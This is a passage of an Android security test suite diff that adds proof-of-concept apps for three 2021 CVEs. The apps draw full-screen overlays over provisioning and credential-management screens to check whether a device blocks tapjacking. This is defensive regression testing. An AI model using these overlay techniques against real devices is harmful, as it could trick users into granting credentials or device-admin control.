+ /* Wait for the overlay window */
+ Context context = getApplicationContext();
+ Pattern overlayTextPattern = Pattern.compile(context.getString(R.string.overlayButtonText),
+ Pattern.CASE_INSENSITIVE);
+ final int launchTimeoutMs = 20000;
+ assumeTrue(context.getString(R.string.overlayUiScreenError),
+ mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), launchTimeoutMs));
+
+ /* Start the vulnerable activity */
+ startVulnerableActivity();
+
+ /* Wait until the object of launcher activity is gone */
+ boolean overlayDisallowed = false;
+ if (mDevice.wait(Until.gone(By.pkg(context.getString(R.string.testPkg))),
+ launchTimeoutMs)) {
+ overlayDisallowed = true;
+ }
+
+ Intent intent = new Intent(ACTION_PROVISION_MANAGED_PROFILE);
+ intent.putExtra(EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME,
+ new ComponentName(context, PocDeviceAdminReceiver.class));
+ PackageManager pm = context.getPackageManager();
+ ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+ assumeTrue(context.getString(R.string.activityNotFoundMsg, intent), ri != null);
+ String testVulnerableActivity = ri.activityInfo.name;
+
+ /* Check if the currently running activity is the vulnerable activity */
+ String activityDump = "";
+ try {
+ activityDump = mDevice.executeShellCommand(
+ context.getString(R.string.dumpsysActivityCmd, testVulnerableActivity));
+ } catch (IOException e) {
+ assumeNoException(context.getString(R.string.dumpsysActivityException), e);
+ }
+ Pattern activityPattern =
+ Pattern.compile(context.getString(R.string.mResumedTrue), Pattern.CASE_INSENSITIVE);
+ assumeTrue(context.getString(R.string.vulActivityNotRunningError, testVulnerableActivity),
+ activityPattern.matcher(activityDump).find());
+
+ /* Failing the test as fix is not present */
+ assertTrue(context.getString(R.string.overlayErrorMessage, testVulnerableActivity),
+ overlayDisallowed);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocActivity.java
new file mode 100644
index 00000000000..89a7d931479
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocActivity.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39692;
+
+import static android.app.admin.DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE;
+import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Activity;
+import android.content.ActivityNotFoundException;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.os.Bundle;
+
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ Intent intent = new Intent(ACTION_PROVISION_MANAGED_PROFILE);
+ intent.putExtra(EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME,
+ new ComponentName(getApplicationContext(), PocDeviceAdminReceiver.class));
+ PackageManager pm = getPackageManager();
+ ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+ assumeTrue(getString(R.string.activityNotFoundMsg, intent), ri != null);
+ try {
+ startActivityForResult(intent, 1);
+ } catch (ActivityNotFoundException e) {
+ assumeNoException(getString(R.string.activityNotFoundMsg, intent), e);
+ }
+ }
+
+ @Override
+ public void onActivityResult(int requestCode, int resultCode, Intent data) {
+ if (resultCode == Activity.RESULT_OK) {
+ this.setResult(Activity.RESULT_OK);
+ this.finish();
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocDeviceAdminReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocDeviceAdminReceiver.java
new file mode 100644
index 00000000000..455aa03141c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocDeviceAdminReceiver.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39692;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+public class PocDeviceAdminReceiver extends DeviceAdminReceiver {
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ super.onReceive(context, intent);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocService.java
new file mode 100644
index 00000000000..be96d115d4f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocService.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39692;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.IBinder;
+import android.provider.Settings;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+
+public class PocService extends Service {
+ private Button mButton;
+ private WindowManager mWindowManager;
+ private WindowManager.LayoutParams mLayoutParams;
+
+ private static int getScreenWidth() {
+ return Resources.getSystem().getDisplayMetrics().widthPixels;
+ }
+
+ private static int getScreenHeight() {
+ return Resources.getSystem().getDisplayMetrics().heightPixels;
+ }
+
+ @Override
+ public void onCreate() {
+ super.onCreate();
+ mWindowManager = getSystemService(WindowManager.class);
+ mLayoutParams = new WindowManager.LayoutParams();
+ mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+ mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+ | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+ mLayoutParams.format = PixelFormat.OPAQUE;
+ mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+ mLayoutParams.width = getScreenWidth();
+ mLayoutParams.height = getScreenHeight();
+ mLayoutParams.x = getScreenWidth() / 2;
+ mLayoutParams.y = getScreenHeight() / 2;
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ showFloatingWindow();
+ return super.onStartCommand(intent, flags, startId);
+ }
+
+ @Override
+ public void onDestroy() {
+ if (mWindowManager != null && mButton != null) {
+ mWindowManager.removeView(mButton);
+ }
+ super.onDestroy();
+ }
+
+ private void showFloatingWindow() {
+ Context context = getApplicationContext();
+ assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+ Settings.canDrawOverlays(getApplicationContext()));
+ mButton = new Button(getApplicationContext());
+ mButton.setText(context.getString(R.string.overlayButtonText));
+ mWindowManager.addView(mButton, mLayoutParams);
+ mButton.setTag(mButton.getVisibility());
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/Android.bp
new file mode 100644
index 00000000000..034f865b04f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/Android.bp
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2021-39702",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
+ ],
+ platform_apis: true,
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/AndroidManifest.xml
new file mode 100644
index 00000000000..60105d647cc
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ package="android.security.cts.CVE_2021_39702"
+ android:versionCode="1"
+ android:versionName="1.0">
+
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+ <application
+ android:allowBackup="true"
+ android:label="CVE_2021_39702"
+ android:supportsRtl="true">
+ <uses-library android:name="android.test.runner" />
+ <service android:name=".PocService"
+ android:enabled="true"
+ android:exported="false" />
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_39702" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/res/values/strings.xml
new file mode 100644
index 00000000000..46f9745c003
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/res/values/strings.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="activityNotFoundMsg">The activity with intent was not found : </string>
+ <string name="activityNotStartedException">Unable to start the activity with intent : </string>
+ <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+ <string name="dumpsysActivity">dumpsys activity</string>
+ <string name="dumpsysActivityNotStartedException">Could not execute dumpsys activity command
+ </string>
+ <string name="errorMessage">Device is vulnerable to b/205150380 hence any app with
+ "SYSTEM_ALERT_WINDOW can overlay the RequestManageCredentials screen</string>
+ <string name="mResumedTrue">mResumed=true</string>
+ <string name="overlayAttack">overlayattack</string>
+ <string name="overlayButtonText">OverlayButton</string>
+ <string name="overlayServiceNotStartedException">Unable to start the overlay service</string>
+ <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+ <string name="vulActivityNotRunningError">The RequestManageCredentials is not currently running
+ on the device</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/DeviceTest.java
new file mode 100644
index 00000000000..b5f3a3ecce9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/DeviceTest.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39702;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.net.Uri;
+import android.provider.Settings;
+import android.security.AppUriAuthenticationPolicy;
+import android.security.Credentials;
+import android.security.KeyChain;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private static final int LAUNCH_TIMEOUT_MS = 20000;
+ private String vulnerableActivityName = "";
+
+ private void startOverlayService() {
+ Context context = getApplicationContext();
+ assumeNotNull(context);
+ Intent intent = new Intent(context, PocService.class);
+ assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+ Settings.canDrawOverlays(context));
+ try {
+ context.startService(intent);
+ } catch (Exception e) {
+ assumeNoException(context.getString(R.string.overlayServiceNotStartedException), e);
+ }
+ }
+
+ public void startVulnerableActivity() {
+ Context context = getApplicationContext();
+ assumeNotNull(context);
+ Intent intent = new Intent(Credentials.ACTION_MANAGE_CREDENTIALS);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ AppUriAuthenticationPolicy policy = new AppUriAuthenticationPolicy.Builder()
+ .addAppAndUriMapping(context.getPackageName(), Uri.parse(""),
+ context.getString(R.string.overlayAttack))
+ .build();
+ intent.putExtra(KeyChain.EXTRA_AUTHENTICATION_POLICY, policy);
+ PackageManager pm = context.getPackageManager();
+ assumeNotNull(pm);
+ ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+ assumeTrue(context.getString(R.string.activityNotFoundMsg) + intent, ri != null);
+ assumeNotNull(ri.activityInfo);
+ vulnerableActivityName = ri.activityInfo.name;
+ try {
+ context.startActivity(intent);
+ } catch (Exception e) {
+ assumeNoException(context.getString(R.string.activityNotStartedException) + intent, e);
+ }
+ }
+
+ @Test
+ public void testOverlayButtonPresence() {
+ Context context = getApplicationContext();
+ assumeNotNull(context);
+ UiDevice device = UiDevice.getInstance(getInstrumentation());
+ assumeNotNull(device);
+
+ /* Start the overlay service */
+ startOverlayService();
+
+ /* Wait for the overlay window */
+ Pattern overlayTextPattern = Pattern.compile(context.getString(R.string.overlayButtonText),
+ Pattern.CASE_INSENSITIVE);
+ assumeTrue(context.getString(R.string.overlayUiScreenError),
+ device.wait(Until.hasObject(By.text(overlayTextPattern)), LAUNCH_TIMEOUT_MS));
+
+ /* Start the vulnerable activity */
+ startVulnerableActivity();
+
+ /* Wait until the object of launcher activity is gone */
+ boolean overlayDisallowed = device.wait(Until.gone(By.pkg(context.getPackageName())),
+ LAUNCH_TIMEOUT_MS);
+
+ /* Check if the currently running activity is the vulnerable activity */
+ String activityDump = "";
+ try {
+ activityDump = device.executeShellCommand(
+ context.getString(R.string.dumpsysActivity) + " " + vulnerableActivityName);
+ } catch (IOException e) {
+ assumeNoException(context.getString(R.string.dumpsysActivityNotStartedException), e);
+ }
+ Pattern activityPattern =
+ Pattern.compile(context.getString(R.string.mResumedTrue), Pattern.CASE_INSENSITIVE);
+ assumeTrue(context.getString(R.string.vulActivityNotRunningError),
+ activityPattern.matcher(activityDump).find());
+
+ /* Failing the test as fix is not present */
+ assertTrue(context.getString(R.string.errorMessage), overlayDisallowed);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/PocService.java
new file mode 100644
index 00000000000..e20029af7e0
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/PocService.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39702;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.IBinder;
+import android.provider.Settings;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+
+public class PocService extends Service {
+ public static Button mButton;
+ private WindowManager mWindowManager;
+ private WindowManager.LayoutParams mLayoutParams;
+
+ private static int getScreenWidth() {
+ return Resources.getSystem().getDisplayMetrics().widthPixels;
+ }
+
+ private static int getScreenHeight() {
+ return Resources.getSystem().getDisplayMetrics().heightPixels;
+ }
+
+ @Override
+ public void onCreate() {
+ super.onCreate();
+ mWindowManager = getSystemService(WindowManager.class);
+ mLayoutParams = new WindowManager.LayoutParams();
+ mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+ mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+ | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+ mLayoutParams.format = PixelFormat.OPAQUE;
+ mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+ mLayoutParams.width = getScreenWidth();
+ mLayoutParams.height = getScreenHeight();
+ mLayoutParams.x = getScreenWidth() / 2;
+ mLayoutParams.y = getScreenHeight() / 2;
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ showFloatingWindow();
+ return super.onStartCommand(intent, flags, startId);
+ }
+
+ @Override
+ public void onDestroy() {
+ if (mWindowManager != null && mButton != null) {
+ mWindowManager.removeView(mButton);
+ }
+ super.onDestroy();
+ }
+
+ private void showFloatingWindow() {
+ Context context = getApplicationContext();
+ assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+ Settings.canDrawOverlays(context));
+ mButton = new Button(context);
+ mButton.setText(context.getString(R.string.overlayButtonText));
+ mWindowManager.addView(mButton, mLayoutParams);
+ mButton.setTag(mButton.getVisibility());
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/Android.bp
new file mode 100644
index 00000000000..ea7eb99d328
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2021-39706",
+ defaults: [
+ "cts_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ sdk_version: "current",
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/AndroidManifest.xml
new file mode 100644
index 00000000000..4ee35bad5c9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/AndroidManifest.xml
@@ -0,0 +1,48 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_39706"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <application
+ android:testOnly="true"
+ android:label="CVE-2021-39706"
+ android:supportsRtl="true">
+ <activity
+ android:name=".PocActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ <receiver android:name=".PocDeviceAdminReceiver"
+ android:exported="true"
+ android:permission="android.permission.BIND_DEVICE_ADMIN">
+ <meta-data
+ android:name="android.app.device_admin"
+ android:resource="@xml/device_policies" />
+ <intent-filter>
+ <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"></action>
+ </intent-filter>
+ </receiver>
+ </application>
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_39706" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/layout/activity_main.xml
new file mode 100644
index 00000000000..6188e9ac7f0
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/layout/activity_main.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:app="http://schemas.android.com/apk/res-auto"
+ xmlns:tools="http://schemas.android.com/tools"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+
+ <Button
+ android:id="@+id/button"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/cleanCache" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/values/strings.xml
new file mode 100644
index 00000000000..2afb31c440a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/values/strings.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="settingsPkg">com.android.settings</string>
+ <string name="settingsPkgCar">com.android.car.settings</string>
+ <string name="certCls">com.android.settings.security.CredentialStorage</string>
+ <string name="certClsCar">com.android.car.settings.security.CredentialStorageActivity</string>
+ <string name="certInstalled">Certificate is already installed</string>
+ <string name="certInstallFail">Certificate installation failed!</string>
+ <string name="certNotFound">Certificate not found after installation</string>
+ <string name="pkgName">android.security.cts.CVE_2021_39706</string>
+ <string name="openFail">Failed to open </string>
+ <string name="tapFail">Failed to Tap </string>
+ <string name="pkgInstallFail"> is not installed!</string>
+ <string name="oK">OK</string>
+ <string name="cleanCache">CLEAN CACHE</string>
+ <string name="failMessage">Vulnerable to b/200164168 !!</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/xml/device_policies.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/xml/device_policies.xml
new file mode 100644
index 00000000000..8a3a4d334c7
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/xml/device_policies.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<device-admin>
+ <uses-policies>
+ <disable-camera/>
+ </uses-policies>
+</device-admin>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/DeviceTest.java
new file mode 100644
index 00000000000..fcff1b1e44d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/DeviceTest.java
@@ -0,0 +1,151 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39706;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.content.res.Resources;
+import android.security.cts.CVE_2021_39706.PocActivity;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private static final int TIMEOUT = 10000;
+ private static Resources resources;
+ private static String settingsPkg;
+
+ /*
